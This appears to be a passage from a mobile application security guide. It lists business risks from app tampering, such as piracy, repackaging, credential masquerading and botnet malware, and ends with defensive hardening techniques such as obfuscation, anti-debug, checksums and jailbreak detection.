There are several ways that adversaries can compromise the revenue model of an application provider. Adversaries can distribute free versions of paid applications, re-publish the application under their brand, bypass in-app purchasing requirements for restricted functionality, or perform ad stripping for ad-free versions. Lots of studies have shown rampant piracy and duplication of iOS and Android apps that are slightly modified and resold within official or third-party app stores or download sites.

In 2012, over 90% of the Top 100 Apple iOS and Top 100 Android apps were found to be cracked and available on third-party sites (see Arxan's State of Security in the App Economy research, 2012).

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Repackaging; or


 * Security Control Bypass.

Description
Often, an adversary will modify an application’s business logic to allow the user to do something they would otherwise be unable to do. Within the world of online gaming, classic examples include unauthorized patches that give a game player infinite health. Such unauthorized changes compromise the user experience and lead to damage of the organization’s brand.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Automated Jailbreak-Detection Breaking;


 * Root-Detection Modification; or


 * Security Control Bypass.

Description
Repudiation allows a user to plausibly deny that they conducted a particular transaction. In the event that an adversary intercepts authentication credentials or session cookies, the adversary masquerades as the user and performs operations on their behalf.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Presentation Layer Modification;


 * Security Control Bypass; or


 * Swizzle With Behavioral Change.

Description
Mobile applications that process transactions typically have security mechanisms for access and usage control and credentials processing. Attackers may bypass these security controls or intercept the credentials, thus opening the possibility for unauthorized transactions where the adversary masquerades as the user and performs operations on their behalf.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Presentation Layer Modification;


 * Security Control Bypass;


 * Cryptographic Key Interception; or


 * Swizzle with Behavioral Change.

Description
Quite often, an adversary will insert malware into an existing mobile application with the intention of enable financial charging. The victim’s device may send text messages or place voice calls to premium numbers.

Dependent Technical Risks
To realize this business risk, an adversary must realize any of the following technical risks:


 * Repackaging.

Description
An adversary may modify an application’s behavior to execute administrative functions contained within the local binary or exposed remotely via services. One of the common objectives for a malware payload in a mobile app is to get remote access to the device or link it to a botnet. When the user’s device joins the botnet, the adversary recruits their device into participating in other attacks paid for by individuals.

Dependent Technical Risks
To realize this business risk, an adversary must launch any of the following technical threats:


 * Security Control Bypass;


 * Presentation Layer Modification; or


 * Cryptographic Key Interception.

= Concluding Remarks = An organization needs to achieve the following objectives to mitigate application integrity vulnerabilities:


 * Protect: An organization should apply integrity security controls to software that it will deploy in distributed or untrusted environments. This should occur prior to the release/deployment phase to mitigate risk of reverse-engineering, tampering, or exploitation of the application; and


 * Deter and discourage: An organization should make violation efforts so time-consuming, difficult, or expensive to be impractical as well as unusable across releases.

To achieve these objectives, the organization must:


 * Identify integrity threats, risks, and attack vectors to define required protections; and


 * Design and insert binary security controls within the software code (using a defense-in depth approach) that defend, detect, and react to attacks.

To protect the application and mitigate risks on the mobile platform effectively, the organization needs to first identify relevant integrity risks and attack vectors in the application. This forms the basis of the protection strategy. Once the organization identifies vulnerable assets, it is paramount to protect them with robust application-hardening and tamper-protection techniques. These techniques must be able to defend, detect, and react to reverse engineering attacks. Such techniques include:

Defend against compromise:


 * Code obfuscation: Defends against reverse-engineering by transforming program code and their control flows to an unintelligible form;


 * Symbol stripping: Defends against reverse-engineering by removing unused program symbols (which usually convey sensitive information to adversaries) from application binaries;


 * Symbol renaming: Defends against reverse-engineering by changing easy-to-understand program symbol names (that cannot be removed from applications) to irrelevant names;


 * Encryption: Encrypts parts of or the whole application when stored on disk and when unused at runtime. Also, encrypts data within the application;


 * String encryption: Defends against reverse-engineering by hiding plaintext string encodings (e.g., sensitive text-based SQL queries or private messages sent to remote trusted servers) through encryption; and

Detect attempted attacks:
 * Damage: Replaces sensitive regions with decoy or garbage code when not in use and replaces with the original code when in use.


 * Anti-debug: Defends against reverse-engineering by inserting into applications special logic that can detect the use of debuggers; upon detection of debuggers, the inserted logic can respond with appropriate countermeasures;


 * Checksum: Defends against tampering by inserting into applications special logic that can detect tampering changes on code and data; upon detection of tampering, the inserted logic can respond with appropriate countermeasures;


 * Jailbreak / Root Detection: Detect jailbreaking or rooting during run-time of application; and

Alert and react to ward off attacks:
 * Swizzling: Defends against swizzling attacks by inserting into applications special logic that can detect when the adversary in intercepting or substituting method invocations by the application; upon detection of swizzling, the inserted logic can respond with appropriate countermeasures.


 * Self-repair: Defends against tampering by inserting into applications special logic that can erase attack changes made to critical code or data by restoring their original values at runtime;


 * Standard reactions: Exit the application, fail its operations, or perform other custom calls/function callbacks; and

When applied appropriately, these self-defenses can make a mobile application highly resilient against attacks, even on rooted or jailbroken (compromised) devices. For example, self-checksum and self-repair code equips your app with self-awareness, self-repair, and tamper-response capabilities, so that it is fully capable of detecting whether its own state has been modified, erasing the changes if possible, and taking remedial or punitive actions against the intrusion (e.g., reporting the attack to a remote server or stopping the application from running).
 * Alerts: Alerts local or remote servers (“phone home”); integration with security consoles.

It is important to layer these defenses and implement them in a networked fashion such that the protection does not cover just the vulnerable application code, but also the protection mechanisms themselves. This is a multi-layered, defense-in-depth approach that has been proven highly effective against hacking attempts.